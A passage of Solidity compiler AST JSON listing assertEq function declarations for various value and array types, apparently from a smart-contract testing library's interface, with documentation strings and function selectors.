failure."},"functionSelector":"5d18c73a","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"45314:8:13","parameters":{"id":13797,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13791,"mutability":"mutable","name":"left","nameLocation":"45342:4:13","nodeType":"VariableDeclaration","scope":13799,"src":"45323:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13789,"name":"uint256","nodeType":"ElementaryTypeName","src":"45323:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13790,"nodeType":"ArrayTypeName","src":"45323:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"},{"constant":false,"id":13794,"mutability":"mutable","name":"right","nameLocation":"45367:5:13","nodeType":"VariableDeclaration","scope":13799,"src":"45348:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13792,"name":"uint256","nodeType":"ElementaryTypeName","src":"45348:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13793,"nodeType":"ArrayTypeName","src":"45348:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"},{"constant":false,"id":13796,"mutability":"mutable","name":"error","nameLocation":"45390:5:13","nodeType":"VariableDeclaration","scope":13799,"src":"45374:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13795,"name":"string","nodeType":"ElementaryTypeName","src":"45374:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"45322:74:13"},"returnParameters":{"id":13798,"nodeType":"ParameterList","parameters":[],"src":"45410:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13809,"nodeType":"FunctionDefinition","src":"45479:81:13","nodes":[],"documentation":{"id":13800,"nodeType":"StructuredDocumentation","src":"45417:57:13","text":"Asserts that two arrays of `int256` values are equal."},"functionSelector":"711043ac","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"45488:8:13","parameters":{"id":13807,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13803,"mutability":"mutable","name":"left","nameLocation":"45515:4:13","nodeType":"VariableDeclaration","scope":13809,"src":"45497:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13801,"name":"int256","nodeType":"ElementaryTypeName","src":"45497:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13802,"nodeType":"ArrayTypeName","src":"45497:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"},{"constant":false,"id":13806,"mutability":"mutable","name":"right","nameLocation":"45539:5:13","nodeType":"VariableDeclaration","scope":13809,"src":"45521:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13804,"name":"int256","nodeType":"ElementaryTypeName","src":"45521:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13805,"nodeType":"ArrayTypeName","src":"45521:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"45496:49:13"},"returnParameters":{"id":13808,"nodeType":"ParameterList","parameters":[],"src":"45559:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13821,"nodeType":"FunctionDefinition","src":"45685:104:13","nodes":[],"documentation":{"id":13810,"nodeType":"StructuredDocumentation","src":"45566:114:13","text":"Asserts that two arrays of `int256` values are equal and includes error message into revert string on failure."},"functionSelector":"191f1b30","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"45694:8:13","parameters":{"id":13819,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13813,"mutability":"mutable","name":"left","nameLocation":"45721:4:13","nodeType":"VariableDeclaration","scope":13821,"src":"45703:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13811,"name":"int256","nodeType":"ElementaryTypeName","src":"45703:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13812,"nodeType":"ArrayTypeName","src":"45703:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"},{"constant":false,"id":13816,"mutability":"mutable","name":"right","nameLocation":"45745:5:13","nodeType":"VariableDeclaration","scope":13821,"src":"45727:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13814,"name":"int256","nodeType":"ElementaryTypeName","src":"45727:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13815,"nodeType":"ArrayTypeName","src":"45727:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"},{"constant":false,"id":13818,"mutability":"mutable","name":"error","nameLocation":"45768:5:13","nodeType":"VariableDeclaration","scope":13821,"src":"45752:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13817,"name":"string","nodeType":"ElementaryTypeName","src":"45752:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"45702:72:13"},"returnParameters":{"id":13820,"nodeType":"ParameterList","parameters":[],"src":"45788:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13829,"nodeType":"FunctionDefinition","src":"45848:61:13","nodes":[],"documentation":{"id":13822,"nodeType":"StructuredDocumentation","src":"45795:48:13","text":"Asserts that two `uint256` values are equal."},"functionSelector":"98296c54","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"45857:8:13","parameters":{"id":13827,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13824,"mutability":"mutable","name":"left","nameLocation":"45874:4:13","nodeType":"VariableDeclaration","scope":13829,"src":"45866:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13823,"name":"uint256","nodeType":"ElementaryTypeName","src":"45866:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13826,"mutability":"mutable","name":"right","nameLocation":"45888:5:13","nodeType":"VariableDeclaration","scope":13829,"src":"45880:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13825,"name":"uint256","nodeType":"ElementaryTypeName","src":"45880:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"45865:29:13"},"returnParameters":{"id":13828,"nodeType":"ParameterList","parameters":[],"src":"45908:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13839,"nodeType":"FunctionDefinition","src":"45978:83:13","nodes":[],"documentation":{"id":13830,"nodeType":"StructuredDocumentation","src":"45915:58:13","text":"Asserts that two arrays of `address` values are equal."},"functionSelector":"3868ac34","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"45987:8:13","parameters":{"id":13837,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13833,"mutability":"mutable","name":"left","nameLocation":"46015:4:13","nodeType":"VariableDeclaration","scope":13839,"src":"45996:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":13831,"name":"address","nodeType":"ElementaryTypeName","src":"45996:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":13832,"nodeType":"ArrayTypeName","src":"45996:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"},{"constant":false,"id":13836,"mutability":"mutable","name":"right","nameLocation":"46040:5:13","nodeType":"VariableDeclaration","scope":13839,"src":"46021:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":13834,"name":"address","nodeType":"ElementaryTypeName","src":"46021:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":13835,"nodeType":"ArrayTypeName","src":"46021:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"45995:51:13"},"returnParameters":{"id":13838,"nodeType":"ParameterList","parameters":[],"src":"46060:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13851,"nodeType":"FunctionDefinition","src":"46187:106:13","nodes":[],"documentation":{"id":13840,"nodeType":"StructuredDocumentation","src":"46067:115:13","text":"Asserts that two arrays of `address` values are equal and includes error message into revert string on failure."},"functionSelector":"3e9173c5","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"46196:8:13","parameters":{"id":13849,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13843,"mutability":"mutable","name":"left","nameLocation":"46224:4:13","nodeType":"VariableDeclaration","scope":13851,"src":"46205:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":13841,"name":"address","nodeType":"ElementaryTypeName","src":"46205:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":13842,"nodeType":"ArrayTypeName","src":"46205:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"},{"constant":false,"id":13846,"mutability":"mutable","name":"right","nameLocation":"46249:5:13","nodeType":"VariableDeclaration","scope":13851,"src":"46230:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_calldata_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":13844,"name":"address","nodeType":"ElementaryTypeName","src":"46230:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":13845,"nodeType":"ArrayTypeName","src":"46230:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"},{"constant":false,"id":13848,"mutability":"mutable","name":"error","nameLocation":"46272:5:13","nodeType":"VariableDeclaration","scope":13851,"src":"46256:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13847,"name":"string","nodeType":"ElementaryTypeName","src":"46256:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"46204:74:13"},"returnParameters":{"id":13850,"nodeType":"ParameterList","parameters":[],"src":"46292:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13861,"nodeType":"FunctionDefinition","src":"46362:83:13","nodes":[],"documentation":{"id":13852,"nodeType":"StructuredDocumentation","src":"46299:58:13","text":"Asserts that two arrays of `bytes32` values are equal."},"functionSelector":"0cc9ee84","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"46371:8:13","parameters":{"id":13859,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13855,"mutability":"mutable","name":"left","nameLocation":"46399:4:13","nodeType":"VariableDeclaration","scope":13861,"src":"46380:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":13853,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46380:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":13854,"nodeType":"ArrayTypeName","src":"46380:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":13858,"mutability":"mutable","name":"right","nameLocation":"46424:5:13","nodeType":"VariableDeclaration","scope":13861,"src":"46405:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":13856,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46405:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":13857,"nodeType":"ArrayTypeName","src":"46405:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"46379:51:13"},"returnParameters":{"id":13860,"nodeType":"ParameterList","parameters":[],"src":"46444:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13873,"nodeType":"FunctionDefinition","src":"46571:106:13","nodes":[],"documentation":{"id":13862,"nodeType":"StructuredDocumentation","src":"46451:115:13","text":"Asserts that two arrays of `bytes32` values are equal and includes error message into revert string on failure."},"functionSelector":"e03e9177","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"46580:8:13","parameters":{"id":13871,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13865,"mutability":"mutable","name":"left","nameLocation":"46608:4:13","nodeType":"VariableDeclaration","scope":13873,"src":"46589:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":13863,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46589:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":13864,"nodeType":"ArrayTypeName","src":"46589:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":13868,"mutability":"mutable","name":"right","nameLocation":"46633:5:13","nodeType":"VariableDeclaration","scope":13873,"src":"46614:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_calldata_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":13866,"name":"bytes32","nodeType":"ElementaryTypeName","src":"46614:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":13867,"nodeType":"ArrayTypeName","src":"46614:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"},{"constant":false,"id":13870,"mutability":"mutable","name":"error","nameLocation":"46656:5:13","nodeType":"VariableDeclaration","scope":13873,"src":"46640:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13869,"name":"string","nodeType":"ElementaryTypeName","src":"46640:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"46588:74:13"},"returnParameters":{"id":13872,"nodeType":"ParameterList","parameters":[],"src":"46676:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13883,"nodeType":"FunctionDefinition","src":"46745:81:13","nodes":[],"documentation":{"id":13874,"nodeType":"StructuredDocumentation","src":"46683:57:13","text":"Asserts that two arrays of `string` values are equal."},"functionSelector":"cf1c049c","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"46754:8:13","parameters":{"id":13881,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13877,"mutability":"mutable","name":"left","nameLocation":"46781:4:13","nodeType":"VariableDeclaration","scope":13883,"src":"46763:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13875,"name":"string","nodeType":"ElementaryTypeName","src":"46763:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13876,"nodeType":"ArrayTypeName","src":"46763:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":13880,"mutability":"mutable","name":"right","nameLocation":"46805:5:13","nodeType":"VariableDeclaration","scope":13883,"src":"46787:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13878,"name":"string","nodeType":"ElementaryTypeName","src":"46787:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13879,"nodeType":"ArrayTypeName","src":"46787:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"46762:49:13"},"returnParameters":{"id":13882,"nodeType":"ParameterList","parameters":[],"src":"46825:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13895,"nodeType":"FunctionDefinition","src":"46951:104:13","nodes":[],"documentation":{"id":13884,"nodeType":"StructuredDocumentation","src":"46832:114:13","text":"Asserts that two arrays of `string` values are equal and includes error message into revert string on failure."},"functionSelector":"eff6b27d","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"46960:8:13","parameters":{"id":13893,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13887,"mutability":"mutable","name":"left","nameLocation":"46987:4:13","nodeType":"VariableDeclaration","scope":13895,"src":"46969:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13885,"name":"string","nodeType":"ElementaryTypeName","src":"46969:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13886,"nodeType":"ArrayTypeName","src":"46969:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":13890,"mutability":"mutable","name":"right","nameLocation":"47011:5:13","nodeType":"VariableDeclaration","scope":13895,"src":"46993:23:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13888,"name":"string","nodeType":"ElementaryTypeName","src":"46993:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13889,"nodeType":"ArrayTypeName","src":"46993:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"},{"constant":false,"id":13892,"mutability":"mutable","name":"error","nameLocation":"47034:5:13","nodeType":"VariableDeclaration","scope":13895,"src":"47018:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13891,"name":"string","nodeType":"ElementaryTypeName","src":"47018:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"46968:72:13"},"returnParameters":{"id":13894,"nodeType":"ParameterList","parameters":[],"src":"47054:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13905,"nodeType":"FunctionDefinition","src":"47122:79:13","nodes":[],"documentation":{"id":13896,"nodeType":"StructuredDocumentation","src":"47061:56:13","text":"Asserts that two arrays of `bytes` values are equal."},"functionSelector":"e5fb9b4a","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47131:8:13","parameters":{"id":13903,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13899,"mutability":"mutable","name":"left","nameLocation":"47157:4:13","nodeType":"VariableDeclaration","scope":13905,"src":"47140:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":13897,"name":"bytes","nodeType":"ElementaryTypeName","src":"47140:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":13898,"nodeType":"ArrayTypeName","src":"47140:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":13902,"mutability":"mutable","name":"right","nameLocation":"47180:5:13","nodeType":"VariableDeclaration","scope":13905,"src":"47163:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":13900,"name":"bytes","nodeType":"ElementaryTypeName","src":"47163:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":13901,"nodeType":"ArrayTypeName","src":"47163:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"47139:47:13"},"returnParameters":{"id":13904,"nodeType":"ParameterList","parameters":[],"src":"47200:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13917,"nodeType":"FunctionDefinition","src":"47325:102:13","nodes":[],"documentation":{"id":13906,"nodeType":"StructuredDocumentation","src":"47207:113:13","text":"Asserts that two arrays of `bytes` values are equal and includes error message into revert string on failure."},"functionSelector":"f413f0b6","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47334:8:13","parameters":{"id":13915,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13909,"mutability":"mutable","name":"left","nameLocation":"47360:4:13","nodeType":"VariableDeclaration","scope":13917,"src":"47343:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":13907,"name":"bytes","nodeType":"ElementaryTypeName","src":"47343:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":13908,"nodeType":"ArrayTypeName","src":"47343:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":13912,"mutability":"mutable","name":"right","nameLocation":"47383:5:13","nodeType":"VariableDeclaration","scope":13917,"src":"47366:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":13910,"name":"bytes","nodeType":"ElementaryTypeName","src":"47366:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":13911,"nodeType":"ArrayTypeName","src":"47366:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":13914,"mutability":"mutable","name":"error","nameLocation":"47406:5:13","nodeType":"VariableDeclaration","scope":13917,"src":"47390:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13913,"name":"string","nodeType":"ElementaryTypeName","src":"47390:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47342:70:13"},"returnParameters":{"id":13916,"nodeType":"ParameterList","parameters":[],"src":"47426:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13927,"nodeType":"FunctionDefinition","src":"47543:84:13","nodes":[],"documentation":{"id":13918,"nodeType":"StructuredDocumentation","src":"47433:105:13","text":"Asserts that two `uint256` values are equal and includes error message into revert string on failure."},"functionSelector":"88b44c85","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47552:8:13","parameters":{"id":13925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13920,"mutability":"mutable","name":"left","nameLocation":"47569:4:13","nodeType":"VariableDeclaration","scope":13927,"src":"47561:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13919,"name":"uint256","nodeType":"ElementaryTypeName","src":"47561:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13922,"mutability":"mutable","name":"right","nameLocation":"47583:5:13","nodeType":"VariableDeclaration","scope":13927,"src":"47575:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13921,"name":"uint256","nodeType":"ElementaryTypeName","src":"47575:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13924,"mutability":"mutable","name":"error","nameLocation":"47606:5:13","nodeType":"VariableDeclaration","scope":13927,"src":"47590:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13923,"name":"string","nodeType":"ElementaryTypeName","src":"47590:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47560:52:13"},"returnParameters":{"id":13926,"nodeType":"ParameterList","parameters":[],"src":"47626:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13935,"nodeType":"FunctionDefinition","src":"47685:59:13","nodes":[],"documentation":{"id":13928,"nodeType":"StructuredDocumentation","src":"47633:47:13","text":"Asserts that two `int256` values are equal."},"functionSelector":"fe74f05b","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47694:8:13","parameters":{"id":13933,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13930,"mutability":"mutable","name":"left","nameLocation":"47710:4:13","nodeType":"VariableDeclaration","scope":13935,"src":"47703:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13929,"name":"int256","nodeType":"ElementaryTypeName","src":"47703:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13932,"mutability":"mutable","name":"right","nameLocation":"47723:5:13","nodeType":"VariableDeclaration","scope":13935,"src":"47716:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13931,"name":"int256","nodeType":"ElementaryTypeName","src":"47716:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"47702:27:13"},"returnParameters":{"id":13934,"nodeType":"ParameterList","parameters":[],"src":"47743:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13945,"nodeType":"FunctionDefinition","src":"47859:82:13","nodes":[],"documentation":{"id":13936,"nodeType":"StructuredDocumentation","src":"47750:104:13","text":"Asserts that two `int256` values are equal and includes error message into revert string on failure."},"functionSelector":"714a2f13","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47868:8:13","parameters":{"id":13943,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13938,"mutability":"mutable","name":"left","nameLocation":"47884:4:13","nodeType":"VariableDeclaration","scope":13945,"src":"47877:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13937,"name":"int256","nodeType":"ElementaryTypeName","src":"47877:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13940,"mutability":"mutable","name":"right","nameLocation":"47897:5:13","nodeType":"VariableDeclaration","scope":13945,"src":"47890:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13939,"name":"int256","nodeType":"ElementaryTypeName","src":"47890:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13942,"mutability":"mutable","name":"error","nameLocation":"47920:5:13","nodeType":"VariableDeclaration","scope":13945,"src":"47904:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13941,"name":"string","nodeType":"ElementaryTypeName","src":"47904:6:13","typeDescriptions":{"typeIde